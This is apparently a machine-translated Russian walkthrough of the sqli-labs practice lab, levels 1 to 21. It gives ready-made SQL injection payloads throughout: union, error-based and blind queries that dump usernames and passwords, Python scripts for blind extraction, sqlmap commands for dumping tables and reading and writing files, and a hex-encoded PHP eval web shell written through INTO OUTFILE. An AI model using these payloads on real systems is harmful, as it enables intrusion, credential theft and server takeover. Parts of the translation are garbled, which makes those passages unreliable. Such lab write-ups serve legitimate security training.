Самый полный справочник по таможенному оформлению sqli-labs во всей сети (рекомендуемый сборник)
Самый полный справочник по таможенному оформлению sqli-labs во всей сети (рекомендуемый сборник)

Настройка среды

Sqli-labsЭто руководство поможет вам обобщить большую частьSQL-инъекция Тип уязвимости тир,Изучите принципы уязвимости SQL-инъекции.,Необходимая среда стрельбища для воспроизведения уязвимости SQL-инъекции,Давайте играть! Адрес проекта SQLi-LABS: https://github.com/Audi-1/sqli-labs,Украшенный адрес проекта: https://github.com/himadriganguly/sqlilabs,Можно использоватьphpstudyилиwebСреда создается и запускается напрямую,Конкретные этапы строительства можно найти в другой статье.Руководство по настройке SQL-инъекций sqlilabs

Первый уровень — это внедрение типа символа одинарной кавычки GET на основе ошибки.

Определение наличия точки впрыска
  1. Добавьте одинарные кавычки, чтобы сообщить об ошибке
Язык кода:javascript
копировать
http://localhost/sqlilabs/practice/example1.php?id=1'
  1. Страница нормальная после добавления комментариев
Язык кода:javascript
копировать
http://localhost/sqlilabs/practice/example1.php?id=1' %23
  • Комментарий Способ
    • # Число Комментарий
    • %23 Комментарий
    • --+ Комментарий
  1. Количество столбцов решения (в порядке)
Язык кода:javascript
копировать
http://localhost/sqlilabs/practice/example1.php?id=1'  order by 3%23 # нормальный
http://localhost/sqlilabs/practice/example1.php?id=1'  order by 4%23 # Ошибка отображения страницы

Количество полей описания — 3.
  1. Выполнить введенную полезную нагрузку
Язык кода:javascript
копировать
# Определить отображаемые информационные точки и выполнить совместный запрос через id=-1
http://localhost/sqlilabs/practice/example1.php?id=-1' union select 1,2,3%23
  • Общая информация о запросе
    • Database() # имя базы данных используется
    • user() #Информация о пользователе
    • version() # Информация о версии базы данных
    • @@basedir # Путь установки базы данных
    • @@version_compile_os # Версия операционной системы
  1. Просмотр данных базы данных
  • Посмотреть имя таблицы Функция group_concat: объединяет запрошенные многострочные результаты в строку.
Язык кода:javascript
копировать
http://localhost/sqlilabs/practice/example1.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
  • Просмотр названий столбцов
Язык кода:javascript
копировать
http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema ='sqlilabs' AND table_name='users' --+
  • Просмотр полей
Язык кода:javascript
копировать
http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,group_concat(username SEPARATOR '-'),group_concat(password SEPARATOR '-') FROM users --+

Отобразить все содержимое таблицы

sqlmap вводит общие команды

Язык кода:javascript
копировать
```
sqlmap -u «Ввести адрес» -v 1 –-dbs # Получение списка баз данных
sqlmap -u «Ввести адрес» -v 1 –-current-db # Текущая база данных
sqlmap -u «Ввести адрес» -v 1 –-users # пользователь базы данных столбцов
sqlmap -u «Ввести адрес» -v 1 -D "база данных" –-tables # Получение списка баз Имя таблицы для данных
sqlmap.py -u «Ввести адрес» -v 1 -T "имя таблицы" -D "база данных" –-columns # Получить имена столбцов таблицы
sqlmap.py -u «Ввести адрес» -v 1 -T "имя таблицы" -D "база данных" -C "Поле" –-dump # Получить данные из таблицы
```
  • На что следует обратить внимание
    • B:Слепое на основе логических значений (логическое внедрение)
    • U:Union на основе запроса (совместное внедрение)
    • E: На основе ошибок (внедрение отчетов об ошибках)
    • S:Starked queries (Чтение файловой системы, операционной системы и реестра через sqlmap должно Используя этот параметр, можно выполнить внедрение многозадачного запроса)
    • T: Слепой на основе времени (на основе введения временной задержки)
    1. -–batch Запустить с параметрами по умолчанию
    2. --dbs База данных взрывов
    3. -–technique Укажите технологию обнаружения, используемую sqlmap. sqlmap -u "http://localhost/Less-1/?id=1" --dbs --batch --technique B

Второй уровень — это целочисленное внедрение GET на основе ошибок.

Определение наличия точки впрыска
  1. Добавьте одинарные кавычки, чтобы сообщить об ошибке
Язык кода:javascript
копировать
http://localhost/sqlilabs2/Less-2/index.php?id=1'--+
  1. Добавьте и 1=1 и страница нормальная.
Язык кода:javascript
копировать
http://localhost/sqlilabs2/Less-2/index.php?id=1 and 1=1--+
  1. плюс и 12=2 страница Аномальный
Язык кода:javascript
копировать
http://localhost/sqlilabs2/Less-2/index.php?id=1 and 12=2--+

Указывает, что входящие полезные данные выполняются и происходит внедрение.

  1. Количество столбцов суждений
Язык кода:javascript
копировать
http://localhost/sqlilabs2/Less-2/index.php?id=1 order by 3--+ # нормальный
http://localhost/sqlilabs2/Less-2/index.php?id=1 order by 4--+ # Ошибка отображения страницы

Количество полей описания — 3.
  1. Имя таблицы запроса
Язык кода:javascript
копировать
http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()--+
  1. Имя поля запроса
Язык кода:javascript
копировать
http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+
  1. Запросить данные базы данных напрямую
Язык кода:javascript
копировать
http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

Третий уровень — это внедрение деформации одиночной кавычки GET на основе ошибок.

Определение наличия точки впрыска

Добавьте одинарные кавычки, чтобы сообщить об ошибке и обнаружить, что она существует)

Язык кода:javascript
копировать
http://localhost/sqlilabs2/Less-3/index.php?id=1') and 1=2 --+ # Сообщить об ошибке
http://localhost/sqlilabs2/Less-3/index.php?id=1') and 1=1 --+ # нормальный

Непосредственно загрузите полезную нагрузку и извлеките базу данных.

Язык кода:javascript
копировать
    http://localhost/sqlilabs2/Less-3/index.php?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

Четвертый уровень: GET внедрение типа символа двойной кавычки на основе ошибки

Определение наличия точки впрыска

Добавьте двойные кавычки, чтобы сообщить об ошибке, и обнаружите, что "

Язык кода:javascript
копировать
http://localhost/sqlilabs2/Less-4/index.php?id=1") and 1=2 --+ # Сообщить об ошибке
http://localhost/sqlilabs2/Less-4/index.php?id=1") and 1=1 --+ # нормальный

Непосредственно загрузите полезную нагрузку и извлеките базу данных.

Язык кода:javascript
копировать
 http://localhost/sqlilabs2/Less-4/index.php?id=-1") union select 1,group_concat(username),group_concat(password) from users--+

SQLMAP-инъекция

Эту команду можно использовать непосредственно для уровней полезной нагрузки 1–4.

Язык кода:javascript
копировать
sqlmap -u "http://localhost/sqlilabs2/Less-2/index.php?id=1" --batch -D security -T users --columns --dump

Анализ исходного кода

  1. Опубликуйте исходный код напрямую
Язык кода:javascript
копировать
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

  if($row)
{
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
  }
  else 
{
  echo '<font color= "#FFFF00">';
  print_r(mysql_error());
  echo "</font>";  
}
}
  else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
  1. Из исходного кода видно, что фильтрация параметров, поступающих из GET, не выполняется.,и распечатайте сообщение об ошибке,Запрос прямо в базу данных,ведущие кpayloadВходящее выполнение сращиванияsql="SELECT * FROM users WHERE id='sql="SELECT * FROM users WHERE id=sql="SELECT * FROM users WHERE id=('sql="SELECT * FROM users WHERE id=("
    • Вопрос 4. Оператор SQL
    • Вопрос 3. Оператор SQL
    • Вопрос 2. Оператор SQL
    • Вопрос 1. Оператор SQL
  2. Благодаря исходному коду вы сможете более четко понять идеи построения полезной нагрузки.

Уровень 5: Двойное внедрение на основе одинарных кавычек GET

Определение наличия точки впрыска
  1. Введите одинарную кавычку для проверки, и появится сообщение об ошибке. Возвращаемое сообщение такое же, как и сообщение об ошибке первого уровня.
  2. Независимо от входного идентификатора, вы всегда находитесь на этой странице. Угаданная правильная страница остается неизменной, и результаты запроса не будут распечатаны на странице. После проверки исходного кода обнаружено, что результаты отсутствуют. действительно не выводятся.
Язык кода:javascript
копировать
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

  if($row)
{
    echo '<font size="5" color="#FFFF00">'; 
    echo 'You are in...........';
    echo "<br>";
      echo "</font>";
  }
  else 
{

  echo '<font size="3" color="#FFFF00">';
  print_r(mysql_error());
  echo "</br></font>";  
  echo '<font color= "#0000ff" font size= 3>';  

}
}
  else { echo "Please input the ID as parameter with numeric value";}

Но сообщение об ошибке будет распечатано.

  1. Поэтому следует использовать двойную инъекцию (также называемую инъекцией ошибок) для распечатки необходимой информации в ошибке.
Методы внедрения ошибок (десять типов)

Вы можете найти информацию о принципе инъекции. Если у вас есть информация о методе инъекции, вы можете нажать, чтобы просмотреть ее. Вот только десять часто встречающихся методов инъекции.

  • введение функции пола select * from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a); http://localhost/sqlilabs2/Less-5/index.php?id=-1' union select 1,count(),concat((floor(rand(0)2)),'--',(select concat(id,'-',username,'-',password) from security.users limit 0,1))x from information_schema.tables group by x%23
  • Полезная нагрузка находится в средней части concat. Эту часть можно изменить для выполнения различных команд.
  • Для подключения можно использовать только concat, group_concat не работает, и одновременно может отображаться только один фрагмент данных.
  • Чтобы получить указанный выше отчет об ошибках, в базе данных должно быть как минимум 3 фрагмента данных.
  • Примечание по использованию
  • использовать
  • count(): количество запроса
  • rand(): генерирует случайное число от 0 до 1.
  • пол(): округлить вниз
  • группировать по: классифицировать по указанным
  • Введение функции
  • Метод письма
  • Внедрение функции извлечения значения
    • Примечание по использованию
    • Эта функция поддерживается только MySQL версии 5.1.5 или выше.
    • Возвращаемые данные ограничены 32 битами.
    • Вы можете использовать функцию подстроки для выполнения отклонения смещения данных. http://localhost/sqlilabs2/Less-5/index.php?id=-1' и (extractvalue(1,concat(0x7e,(выберите подстроку(group_concat(username),1) от пользователей),0x7e))) --+
    • Запрос XML-документов
    • EXTRACTVALUE (XML_document, XPath_string);
    • Первый параметр: XML_document имеет строковый формат и является именем объекта XML-документа.
    • Второй параметр: XPath_string (строка в формате Xpath)
    • Функция: возвращает строку, содержащую запрошенное значение из целевого XML.
    • Введение функции
    • Метод письма select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
    • использовать http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)))--+
  • Внедрение функции updatexml
  • Эта функция поддерживается только MySQL версии 5.1.5 или выше.
  • Возвращаемые данные ограничены 32 битами.
  • Вы можете использовать функцию подстроки для выполнения отклонения смещения данных.
  • Примечание по использованию
  • Изменить XML-документ
  • UPDATEXML (XML_document, XPath_string, new_value);
  • Первый параметр: XML_document имеет строковый формат и является именем объекта XML-документа.
  • Второй параметр: XPath_string (строка в формате Xpath)
  • Третий параметр: new_value, формат String, заменяет найденные данные, соответствующие условиям
  • Функция: Изменить значение узла в документе, отвечающем условиям
  • Введение функции
  • Метод письма select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
  • использовать http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (updatexml(1,concat(0x7e,(select SUBSTRING(group_concat(username),12) from users),0x7e),1))--+
  • Внедрение функции GeometryCollection
    • Введение функции
    • Метод письма select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
    • использовать
    • Примечание по использованию
  • многоточечное внедрение функции
    • Введение функции
    • Метод письма select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
    • использовать
    • Примечание по использованию
  • Внедрение многоугольной функции
    • Введение функции
    • Метод письма select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
    • использовать
    • Примечание по использованию
  • multiВнедрение многоугольной функции
    • Введение функции
    • Метод письма select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
    • использовать
    • Примечание по использованию
  • Внедрение строковой функции
    • Введение функции
    • Метод письма select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
    • использовать
    • Примечание по использованию
  • multiВнедрение строковой функции
    • Введение функции
    • Метод письма select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
    • использовать
    • Примечание по использованию
  • внедрение exp-функции
    • Введение функции
    • Метод письма select * from test where id=1 and exp(~(select * from(select user())a));
    • использовать
    • Примечание по использованию

Уровень 6: Двойное внедрение на основе двойных кавычек GET

Аналогично уровню 5, просто закройте его двойными кавычками.

http://127.0.0.1/sqlilabs2/Less-6/index.php?id=-1" union select 1,count(),concat((floor(rand(0)2)),'--',(select concat(id,'-',username,'-',password) from security.users limit 0,1))x from information_schema.tables group by x%23

SQLMAP-инъекция

Перейдите непосредственно к полезной нагрузке (доступно как для вопросов 5, так и для 6).

Язык кода:javascript
копировать
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-5/index.php?id=1" --technique E -D security -T users --dump --batch

Уровень 7: Инъекция на основе записи файла

Определение наличия точки впрыска
  1. Если вы введете одинарные кавычки, появится сообщение об ошибке.
  2. Подсказки нормальной работы Use outfile . Так понятно, что он записывается в mm файл и выполняется.
  3. Попытавшись найти замыкание')), просмотрев исходный код, еще раз подтвердите, что замыкание прошло успешно. sql="SELECT * FROM users WHERE id=(('result=mysql_query(sql);row = mysql_fetch_array(result); if(
Записать конфигурацию файла (с использованием условий)

secure-file-priv - Если импорт файла не удался, убедитесь, что в файле конфигурации Mysql my.ini существует secure-file-priv. - Параметр secure-file-priv используется для ограничения ЗАГРУЗКИ. DATA, SELECT … OUTFILE, and В какой указанный каталог передается функция LOAD_FILE()?

  • Значение secure_file_priv равно нулю, что означает, что mysqld ограничен и не позволяет импортировать|экспортировать.
  • Значение Secure_file_priv — /tmp/, что означает, что импорт|экспорт mysqld может выполняться только в каталоге /tmp/.
  • Когда значение secure_file_priv не имеет конкретного значения, это означает, что нет ограничений на импорт и экспорт mysqld.

Mysql использует следующую команду, чтобы проверить, включен ли переключатель записи файла

show global variables like '%secure%'

Измените my.ini и добавьте параметр secure-file-priv. Если не указать определенное значение, ограничений не будет (на самом деле это очень опасно).

Просто перезапустите MySQL

Запись конфиденциальных файлов

Напишите предложение Троян

http://127.0.0.1/sqlilabs2/Less-7/index.php?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less-7\mm2.php"--+

Напишите в phpinfo

http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1')) 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less-7\pp2.php--+

Примечание по написанию

  • Письменный контент необходимо перекодировать в шестнадцатеричном формате, чтобы предотвратить перехват.
  • Обязательным условием для записи является знание физического пути к файлу.
  • Обязательным условием для записи является наличие разрешения на запись или разрешения на настройку записи.

Вы можете проверить каталог файла и обнаружить, что файл был успешно записан.

В то же время веб-страница может напрямую получить доступ к файлу и выполнить его.

Чтение конфиденциальных файлов
  • Обязательное условие - должен быть вывод страницы!

http://127.0.0.1/sqlilabs2/Less-3/index.php?id=-1') union select 1,load_file('e:\mm.php'),3--+

SQLMQP чтение и запись файлов

чтение файлов

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-1/index.php?id=1" --file-read "E:\mm.php"

Написание файла

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" --file-write "/home/bb/1.txt" --file-dest "E:\ sql2.php" --batch---title: Примечания к разрешению Sqlilabs (8-10), дата вслепую: 4 января 2020 г. 17:20:00теги: SQL-инъекциякатегории: SQL-инъекция


Уровень 8: Булева слепая инъекция на основе одинарных кавычек GET

Определение наличия точки впрыска
  1. Как видно по обратной косой черте, между ошибками и обычными страницами есть разница.
  2. Полезная нагрузка может быть сконструирована для оценки логических значений для определения запрашиваемых результатов. http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1' и 's'=left(database(),1) --+ Первая буква обычного описания страницы — shttp :// 127.0.0.1/sqlilabs2/Less-8/index.php?id=1' и 'se'=left(database(),2) --+ Страница нормальная Вторая буква е........................ и так далее, результаты данных можно получить
  3. Создайте полезную нагрузку, используя дихотомию import string import requests from time import sleep arlist = string.printable Baseurl = "http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1\' and "
    • Функция ascii() возвращает значение символьного кода ascii.
    • Функция length() возвращает длину нити
    • Функция left() возвращает нить фиксированной длины, перехваченную слева направо.
    • substr()/substring() функция , Возвращает подстроку, начинающуюся с позиции pos и заканчивающуюся длиной.
    • ifфункция, определять условия и предпринимать разные действия
    • Параметр: str одиночный символ
    • Параметры: строка строки
    • Параметр str, длина
    • ул: строка
    • длина: длина перехвата
    • Параметры, str, pos, длина
    • ул: строка
    • поз: исходное положение
    • длина: длина перехвата
    • Параметры, условия, установленные, не установленные
    • Часто используемые структурыфункция
    • Создание экземпляра SELECT * от пользователей WHERE id = 1 и (length(database())=8)SELECT * от пользователей WHERE id = 1 и ascii(substr(database(),8,1))SELECT * от пользователей WHERE id = 1 и 's'=left(database(),1)SELECT * от пользователей WHERE id = 1 и if((length(database())=8),1,0)
    • Сценарии
Язык кода:javascript
копировать
def checkurl(url):
    res = requests.get(url)
    if res.ok:
        if 'You are in' in res.text:
            return True
    return False

def main():
    flag  = ''
    for g in range(100):
        for i in arlist:
            payload = "substr((select group_concat(username,password) from users),%s,1) = \'%s\'--+" % (
                g, i)
            finalurl = Baseurl + payload
            if checkurl(finalurl):
                flag = flag + str(i)
                print(flag)
            sleep(0.2)

if  __name__ == "__main__":
    main()
```

SQLMAP-инъекция

Идите прямоpayload

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1" --technique B -D security -T users -C username,password --dump --threads 10 --batch

Уровень 9: На основе одинарных кавычек GET и на основе внедрения вслепую по времени.

Определение наличия точки впрыска
  1. Добавление обратной косой черты показывает, что страница не изменилась.
  2. Я думаю, страница не изменится независимо от того, правильна или неверна грамматика.
  3. Попробуйте использовать сон, чтобы увидеть, выполняется ли он.
  4. Наиболее интуитивное различие между логическим слепым внедрением и слепым внедрением по времени заключается в том, что один может судить о правильном и неправильном по разнице страниц, а другой не может судить о правильном и неправильном и может отличать правильное от неправильного только по времени выполнения.
  5. Просмотрите исходный код, чтобы проверить логический исходный код слепой логической инъекции и логической инъекции вслепую по времени, как показано ниже:
Язык кода:javascript
копировать
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
    echo '<font size="5" color="#FFFF00">'; 
  echo 'You are in...........';
  echo "<br>";
    echo "</font>";
  }
else 
{

echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
  echo "</br></font>";  
  echo '<font color= "#0000ff" font size= 3>';  

}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

Исходный код инъекции вслепую по времени выглядит следующим образом.

Язык кода:javascript
копировать
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
    echo '<font size="5" color="#FFFF00">'; 
  echo 'You are in...........';
  echo "<br>";
    echo "</font>";
  }
else 
{

echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
  echo "</br></font>";  
  echo '<font color= "#0000ff" font size= 3>';  

}
}
else { echo "Please input the ID as parameter with numeric value";}
  1. Логический Комментарий потерял сообщение об ошибке вывода, и страница внедрения тайм-слепого отображается вами, независимо от того, правильная она или неправильная. are in..
  2. Попробуйте построить полезную нагрузку http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1' и if((length(database())=8),sleep(5),1)--+
  3. Сценарии import string import requests from time import sleep arlist = string.printable Baseurl = "http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1\' and "
Язык кода:javascript
копировать
def checkurl(url):
    try:
        res = requests.get(url,timeout = 3)
        return True
    except Exception as e:
        return False

def main():
    flag  = ''
    for g in range(100):
        for i in arlist:
            payload = "if((substr((select group_concat(username,password) from users),%s,1) = \'%s\'),sleep(5),1)--+" % (
                g, i)
            finalurl = Baseurl + payload
            if checkurl(finalurl):
                flag = flag + str(i)
                print(flag)
            sleep(0.2)

if  __name__ == "__main__":
    main()
```

Уровень 10: Слепое внедрение на основе двойных кавычек GET и времени.

Определение наличия точки впрыска
  • Аналогичен уровню 9, за исключением того, что его нужно закрывать двойными кавычками.

payload:

http://127.0.0.1/sqlilabs2/Less-10/index.php?id=1" and if((length(database())=8),sleep(5),1)--+

SQLMAP-инъекция

Непосредственная загрузка полезной нагрузки(9-10Универсальный)

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1" --technique T -D security -T users -C username,password --dump --threads 10 --batch

Уровень 11: Внедрение типа символа одиночной кавычки POST на основе ошибок

Отобразилось поле ввода, указывающее, что это внедрение метода отправки POST.

Оценка точки впрыска
  1. Введите одинарную кавычку в поле ввода, чтобы сообщить об ошибке, указывая, что это простое введение символов.
  2. Основываясь на предыдущем опыте работы с фокусом, я просто изменил его на отправку сообщения.
  3. Просмотр количество полей, считается 2 поля

uname=admin' order by 2#&passwd=&submit=Submit Обычный uname=admin' order by 3#&passwd=&submit=Submit Аномальный

  1. Непосредственная загрузка полезной нагрузки

Полезная нагрузка напрямую извлекает все данные из базы данных.

uname=-admin' union select group_concat(username,password),2 from users#&passwd=&submit=Submit

Внедрение типа символа двойной кавычки POST уровня 12 на основе ошибки

  1. Этот уровень отличается от предыдущего тем, что его необходимо закрывать двойными кавычками, а полезная нагрузка аналогична.

uname=-admin") union select group_concat(username,password),2 from users#&passwd=&submit=Submit

Уровень 13: Деформация двойной инъекции на основе одинарных кавычек POST.

  1. Сообщите об ошибке, введя обратную косую черту, которую можно закрыть с помощью ')
  2. Думаю, это вставка ошибки, передается единственное другое сообщение.
  3. Непосредственная загрузка полезной нагрузки, вы можете напрямую экспортировать все данные

uname=') and (updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#&passwd=&submit=Submit

Уровень 14: Деформация двойной инъекции на основе двойных кавычек POST.

  1. Аналогичен уровню 13, за исключением того, что его нужно закрывать двойными кавычками.
  2. Непосредственная загрузка полезной нагрузки

uname=" and (updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#&passwd=&submit=Submit

Уровень 15: Внедрение времени вслепую на основе одиночных кавычек POST. Логическое время.

  1. Используя различные позы, такие как \’, веб-страница просто не меняется.
  2. Может быть, слепой во времени
  3. Используйте uname=admin' напрямую and sleep(10)#&passwd=1&submit=Submit Обнаружено, что это действительно слепая по времени инъекция.
  4. Достаточно напрямую подключиться к sqlmap или написать скрипт для его запуска. Это похоже на предыдущую инъекцию GET с временной задержкой.

Уровень 16: Внедрение слепого времени на основе логического времени в двойных кавычках POST.

  1. Аналогично уровню 15, только закрывается двойными кавычками.

uname=admin") and sleep(10)#&passwd=1&submit=Submit

SQLMAP-инъекция

  1. Захватывайте пакеты данных через Burpsuit и импортируйте их в sqlmap для обнаружения инъекций.
  2. Возьмем less11 в качестве примера для захвата пакетов данных через bp.
  1. Выберите файл экспорта 1.txt.

Если вы хотите указать обнаружение внедрения параметров, вы можете изменить этот параметр на *

  1. Используйте sqlmap для загрузки экспортированных пакетов данных и выполнения обнаружения внедрения.

sqlmap -r "1.txt" -p uname -D security -T users -C username,password --dump --technique ES --batch --threads 10

  1. Вы также можете использовать --data для передачи параметра post

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-15/" -data "uname=admin&passwd=admin&submit=Submit" --batch --threads 10 --technique T --dbs

  • -r читает файл перехвата пакетов
  • -p параметры, которые необходимо обнаружить
  • --technique 需要检测的注入Способ
    • E Внедрение на основе отчетов об ошибках
    • S Необходимо прочитать файловую систему, операционную систему и реестр через sqlmap Используя этот параметр, можно выполнить внедрение многозадачного запроса.
  • --пакетный выбор по умолчанию
  • --threads Количество потоков
  • -данные передаются в параметрах сообщения (нет необходимости перехватывать пакеты)

Обновление уровня 17 на основе ошибки POST

Оценка точки впрыска
  1. Добавление обратной косой черты непосредственно в passwd приводит к ошибке.

uname=admin&passwd=admin&submit=Submit

  1. Вы можете попробовать внести ошибки в параметр passwd.
  2. Поле ввода в интерфейсе похоже на окно для обновления пароля. Предполагается, что пароль, введенный пользователем, не обнаруживается и не фильтруется.
Анализ исходного кода
Язык кода:javascript
копировать
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value)
{
  if(!empty($value))
    {
    // truncation (see комментарии) усекается до 15 цифр
    $value = substr($value,0,15);
    }

    // Stripslashes if magic quotes enabled Если волшебный переключатель включен, он будет автоматически экранирован.
    if (get_magic_quotes_gpc())
      {
                // удалить обратную косую черту
      $value = stripslashes($value);
      }

    // Quote if not a number
    if (!ctype_digit($value))
      {
                // автоматическое экранирование
      $value = "'" . mysql_real_escape_string($value) . "'";
      }
    
  else
    {
    $value = intval($value);
    }
  return $value;
}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
  if($row)
{
      //echo '<font color= "#0000ff">';
    $row1 = $row['username'];   
    //echo 'Your Login name:'. $row1;
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
    mysql_query($update);
      echo "<br>";



    if (mysql_error())
    {
      echo '<font color= "#FFFF00" font size = 3 >';
      print_r(mysql_error());
      echo "</br></br>";
      echo "</font>";
    }
    else
    {
      echo '<font color= "#FFFF00" font size = 3 >';
      //echo " You password has been successfully updated " ;   
      echo "<br>";
      echo "</font>";
    }

    echo '<img src="../images/flag1.jpg"   />'; 
    //echo 'Your Password:' .$row['password'];
      echo "</font>";



  }
  else  
{
    echo '<font size="4.5" color="#FFFF00">';
    //echo "Bug off you Silly Dumb hacker";
    echo "</br>";
    echo '<img src="../images/slap1.jpg"   />';

    echo "</font>";  
}
}

?>
  1. Глядя на исходный код, можно увидеть, что там есть фильтр Functioncheck_input.,Этапы фильтрации:
    • substr($value,0,15) усекается до 15 цифр
    • Одинарные кавычки, двойные кавычки, обратная косая черта и ноль автоматически экранируются обратной косой чертой.
    • Stripslashes() удаляет лишние обратные косые черты
  2. Глядя на исходный код, passwd не использует функцию фильтрации.,Таким образом, переменными можно управлять.

passwd=_POST['passwd'];

  1. Это сквозное обновление, и будет напечатано сообщение об ошибке.

update="UPDATE users SET password = '

  1. Сообщить об Нужна инъекция, без сомнения.,Непосредственная загрузка полезной нагрузки

uname=admin&passwd=' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#&submit=Submit

uname=admin&passwd=' and extractvalue(null,concat(0x7e,database(),0x7e))#&submit=Submit

SQLMAP-инъекция

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-17/" --data "uname=admin&passwd=woshiadmin&submit=Submit" -p passwd --dbms mysql --threads 10 --method POST --flush-session --fresh-queries --level 1 --risk 1 --technique E --dbs

  • --data: указать информацию о запросе
  • -p: указать параметры
  • --dbms: указать серверную базу данных
  • --threads: указать количество одновременных потоков
  • --method: указать метод запроса
  • --flush-session: Очистить сеанс
  • --fresh-queries: инициировать новые запросы
  • --level 1: попытка внедрения POST и GET
  • --risk 1: тестировать только распространенные случаи использования
  • --technique E: только тест метода внедрения ошибок---title: Примечания к разрешению Sqlilabs (18-22), дата внедрения заголовка данных: 2020-01-07 12:32:50tags: Категории SQL-инъекций: SQL-инъекция

Уровень 18. Вставка заголовка поля Uagent на основе ошибки POST.

Оценка точки впрыска
  1. На странице показано, что yourip должен быть параметром заголовка запроса.
  2. При этом переданный пост не имеет этого параметра.
  3. После успешного входа в систему с правами администратора отображаются пользовательские агенты.
  1. Больше невозможно использовать плагин хакбара для отправки. Для захвата и отправки пакетов необходимо использовать Burpsuit.
  2. Захват пакетов происходит следующим образом
  1. Добавьте одинарные кавычки в заголовок пользовательского агента и сообщите об ошибке, чтобы убедиться, что пользовательский агент был внедрен.
  1. Построение полезной нагрузки выполняется путем закрытия одинарных кавычек.

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and '1' = '1

  1. Непосредственно создайте полезную нагрузку для внедрения отчетов об ошибках.

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

Уровень 19. Вставка заголовка поля Referer на основе ошибки POST.

1. Точно так же точкой внедрения этого уровня является параметр Referer. Полезная нагрузка та же, но позиция параметра другая.

Внедрение заголовка поля Cookie-Uagent уровня 20 на основе ошибки POST

1. Точно так же точкой внедрения этого уровня является параметр cookie. Полезная нагрузка та же, но позиция параметра другая.

Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

Внедрение файлов cookie уровня 21 на основе одинарных кавычек в кодировке Base64.

1. Аналогично, точкой внедрения этого уровня является параметр cookie, который такой же, как и полезная нагрузка предыдущего уровня, но метод кодирования другой.

